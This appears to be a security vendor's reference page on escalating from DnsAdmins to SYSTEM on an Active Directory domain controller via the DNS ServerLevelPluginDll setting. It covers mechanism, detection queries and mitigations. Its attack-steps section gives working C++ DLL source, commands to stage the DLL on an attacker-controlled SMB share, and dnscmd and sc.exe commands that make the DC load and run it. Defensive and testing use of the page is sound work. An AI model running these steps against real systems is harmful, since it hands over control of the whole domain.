1. Resources
  2. Identity Threats
  3. Active Directory

DnsAdmins to Domain Controller SYSTEM (ServerLevelPluginDll)

Also known as: DnsAdmins privilege escalation, ServerLevelPluginDll abuse, DNS server plug-in DLL, dnscmd serverlevelplugindll

A member of DnsAdmins sets the DNS server plug-in path on a domain controller to a DLL they control; when the DNS service restarts, it loads the DLL and runs the attacker's code as SYSTEM.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
Membership of DnsAdmins (or equivalent DNS server administration rights), and a way to restart the DNS Server service on the domain controller.
What the attacker gains
Code execution as SYSTEM inside dns.exe on a domain controller, which is control of the domain.
Tools
dnscmdsc.exePowerViewMSVC (cl.exe)
Threat groups
AgriusAPT19APT3APT32APT38APT41Aquatic PandaBlackByteBlue MockingbirdCarbanakCinnamon TempestCobalt GroupDarkVishnyaEarth Luscaand 26 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1543.003, T1078.002.

How it works

DnsAdmins is a built-in domain group whose members administer the Windows DNS Server service. It is commonly handed to network teams and DNS operators who are not domain administrators, on the assumption that DNS management is a network task.

The DNS Server service (dns.exe) supports a server-level plug-in: a DLL that the service loads and calls for name queries outside its own zones. Microsoft documents the setting in the dnscmd reference as /config /serverlevelplugindll <dllpath>. The path is stored in the registry of the DNS server:

HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll

Three facts combine into an escalation path:

  • The setting can be changed remotely by a DNS administrator. dnscmd sends the change over the DNS management RPC interface, and the service writes the registry value itself. Membership of DnsAdmins is enough to make the call.
  • The path is not validated. It can be a local file or a UNC path to a share on another machine. The service reads the file with the computer account's credentials.
  • The service runs as SYSTEM and loads the DLL at startup. The DLL's initialization code runs inside dns.exe with the service's token.

In most domains the DNS servers are the domain controllers. So a group that looks like a delegated network role can run native code as SYSTEM on a domain controller. This is a use of a documented feature, not an exploit of a memory bug, and patching does not remove it.

The public research uses a DLL that exports DnsPluginInitialize, DnsPluginCleanup and DnsPluginQuery. A DLL without usable exports, of the wrong architecture, or one that blocks inside the initialization function can stop the DNS service from starting. On a domain controller that takes down name resolution and, with it, authentication for the site.

Prerequisites

  • Membership of DnsAdmins, direct or nested, or another grant of DNS server administration.
  • Network access to the DNS management RPC interface on the target server.
  • A DLL the server can read: a file on the server itself, or an SMB share that the domain controller's computer account can reach and read.
  • A service restart. The value is read when the DNS service starts. The attacker needs the right to stop and start the service, or patience until the next restart or reboot.

Find who is in the group, which servers run DNS, and what the plug-in value is now:

Get-ADGroupMember -Identity 'DnsAdmins' -Recursive |
  Select-Object SamAccountName, objectClass, distinguishedName

# PowerView
Get-NetGroupMember -Identity 'DnsAdmins' -Recurse

reg query "\\DC01.corp.example.com\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll
dnscmd DC01.corp.example.com /info
sc.exe \\DC01.corp.example.com qc dns

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

The example uses a marker DLL that only records the account it ran as. It shows the escalation without adding a second technique.

1. Build the plug-in DLL

The work is done in a new thread so that the initialization function returns at once and the service keeps starting:

#include <windows.h>
#include <stdlib.h>

static DWORD WINAPI MarkerThread(LPVOID) {
    system("cmd.exe /c (whoami & echo DNS-PLUGIN) > C:\\Windows\\Temp\\dns-plugin-marker.txt");
    return 0;
}

extern "C" __declspec(dllexport)
int DnsPluginInitialize(PVOID, PVOID) {
    HANDLE h = CreateThread(NULL, 0, MarkerThread, NULL, 0, NULL);
    if (h != NULL) {
        CloseHandle(h);
    }
    return 0;
}

extern "C" __declspec(dllexport)
int DnsPluginCleanup() {
    return 0;
}

extern "C" __declspec(dllexport)
int DnsPluginQuery(PVOID, PVOID, PVOID, PVOID) {
    return 0;
}

Compile it as a 64-bit DLL and check the exports:

cl.exe /nologo /LD /EHsc dns-plugin.cpp /link /OUT:dns-plugin.dll
dumpbin /exports dns-plugin.dll

2. Stage the DLL where the domain controller can read it

A share on a host the attacker controls, readable by the domain controller's computer account:

New-Item -ItemType Directory -Path 'C:\plugin' | Out-Null
Copy-Item .\dns-plugin.dll -Destination 'C:\plugin\dns-plugin.dll'
New-SmbShare -Name 'plugin' -Path 'C:\plugin' -ReadAccess 'CORP\DC01$'

3. Set the plug-in path

Run as the DnsAdmins member, from any host that can reach the server:

dnscmd DC01.corp.example.com /config /serverlevelplugindll \\WS01.corp.example.com\plugin\dns-plugin.dll

dnscmd reports that the property was reset successfully. Nothing has run yet; the value is only stored.

4. Restart the DNS service

sc.exe \\DC01.corp.example.com stop dns
sc.exe \\DC01.corp.example.com start dns
sc.exe \\DC01.corp.example.com query dns

If the account is refused here, the DLL loads at the next restart of the service by anyone, or at the next reboot.

5. Confirm execution

Get-Content -LiteralPath '\\DC01.corp.example.com\C$\Windows\Temp\dns-plugin-marker.txt'

The marker file contains nt authority\system. A real intrusion replaces the marker with a command that adds an account to Domain Admins, starts an implant, or dumps credentials.

6. Remove the setting

Running the same command without a path clears the value, and the service stops using the plug-in after its next restart:

dnscmd DC01.corp.example.com /config /serverlevelplugindll

Impact

SYSTEM on a domain controller is the end of the path. From there the attacker can read the directory database, create or change any account, and replicate every credential in the domain (DCSync). The escalation runs from a group that many organizations do not treat as privileged, which makes DnsAdmins members shadow admins.

The setting is also persistence: as long as the registry value stays, the DLL loads on every start of the DNS service. And it carries an availability risk for the defender and the attacker alike. A faulty DLL leaves the DNS service down on that domain controller.

DnsAdmins sits in the same family as the other built-in operator groups, such as Backup Operators and Server Operators: a delegated role whose rights reach the domain controller itself.

OPSEC and artifacts

  • Clearing the value afterward. Operators remove the path once their code has run. While it is set, the ServerLevelPluginDll value is plain to see in the registry of the domain controller. With Audit Registry and a SACL on the DNS Parameters key, each change is event 4657. The writer recorded there is dns.exe in the machine's context, because the service performs the write on behalf of the RPC caller.
  • A local path instead of a share. A UNC path makes the domain controller open an outbound SMB session to a workstation, which is unusual and logged on both ends. Copying the DLL to the server first avoids that but needs write access to its file system.
  • The caller's logon. The remote dnscmd call appears on the domain controller as a network logon (4624 type 3) by the DnsAdmins member shortly before the registry change. The DNS audit channel records the setting change as event 541.
  • Waiting for a natural restart. Not restarting the service avoids the stop and start entries (System log 7036) outside a maintenance window, at the cost of an unknown delay.
  • The load itself. The DNS Server log records a plug-in load as event 770 and a failed load as event 150. A DLL that crashes the service leaves Service Control Manager errors 7023, 7034 or 7000.
  • Execution inside dns.exe. A stable DLL that does its work in-process avoids child processes. A DLL that starts cmd.exe or another program shows up as process creation with dns.exe as the parent, which almost never happens legitimately. Sysmon event 7 records the image load when configured for dns.exe.
  • Group membership. If the attacker added the account to DnsAdmins first, that is event 4732 for a domain local group.

Detection

  • Any ServerLevelPluginDll value. DNS servers almost never use a plug-in. Alert on the value being set (4657, Sysmon 13, or a scheduled registry check), and treat a UNC path or a path in a user-writable directory as an incident. The DnsAdmins DNS server plug-in DLL rules cover the DNS Server events.
  • Plug-in load events. DNS Server events 770 and 150 on a server that has no approved plug-in.
  • Child processes of dns.exe. Process creation where the parent is dns.exe.
  • DNS service restart close to a configuration change. A stop and start of the DNS service on a domain controller within minutes of a network logon by a DNS administrator and a server setting change.
  • Outbound SMB from a domain controller to a workstation or an unknown host.
  • DnsAdmins membership changes. See the privileged group membership change rules.
// Registry auditing: the DNS plug-in value was written
SecurityEvent
| where EventID == 4657
| where EventData has "ServerLevelPluginDll"
| project TimeGenerated, Computer, Account, EventData
| order by TimeGenerated desc

Event 4657 exists only when the Audit Registry subcategory is on and the key has a SACL for Set Value. Without that, read the value on a schedule and compare it with the expected empty state.

Mitigation

  • Treat DnsAdmins as Tier 0. Remove members who do not administer DNS servers, review the group on the same schedule as Domain Admins, and require the same account hygiene. The tier model is described in the Active Directory hardening guide.
  • Delegate narrowly. People who only manage records need permissions on zones, not server administration. Grant rights on the specific zones and leave the group empty where possible.
  • Do not give DNS administrators service control on domain controllers. Stopping and starting services on a domain controller should stay with domain administrators.
  • Monitor the registry value. Enable Audit Registry and set a SACL on HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters, following the Active Directory audit policy guide, and collect the DNS Server and DNS audit logs.
  • Block outbound SMB from domain controllers to anything but the systems they need, so a UNC plug-in path cannot be read.
  • Apply application control on domain controllers so that unsigned DLLs from temporary directories and network shares cannot load into services.
  • Run DNS administration from privileged access workstations with dedicated accounts, so that a compromised network administrator's workstation does not carry the right.
  • After an incident, clear the value, restart the service, and treat the domain controller as compromised: the code ran as SYSTEM, so follow the recovery steps for a domain compromise, not only the DNS clean-up.

Detection rules for this attack

Log events to collect

FAQ

Why is DnsAdmins a Tier 0 group?

Members can configure the DNS Server service on every DNS server in the domain, and in most domains the DNS servers are the domain controllers. One documented setting, the server-level plug-in DLL, makes the service load a DLL of the administrator's choice. The service runs as SYSTEM, so the right to configure DNS is the right to run code as SYSTEM on a domain controller.

Can DnsAdmins members restart the DNS service?

Not by default: the group can change the configuration, but restarting the service needs service-control rights on the domain controller. Many environments grant them to DNS administrators. Without them the attacker sets the plug-in path and waits, because the DLL loads at the next service start or reboot, whoever causes it.

How do you detect ServerLevelPluginDll abuse?

Monitor the registry value ServerLevelPluginDll under HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters. It is empty on almost every DNS server, so any value is worth an alert, most of all a UNC path. DNS Server events 770 and 150 record a plug-in load and a failed load, and a child process of dns.exe is a strong sign of execution.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.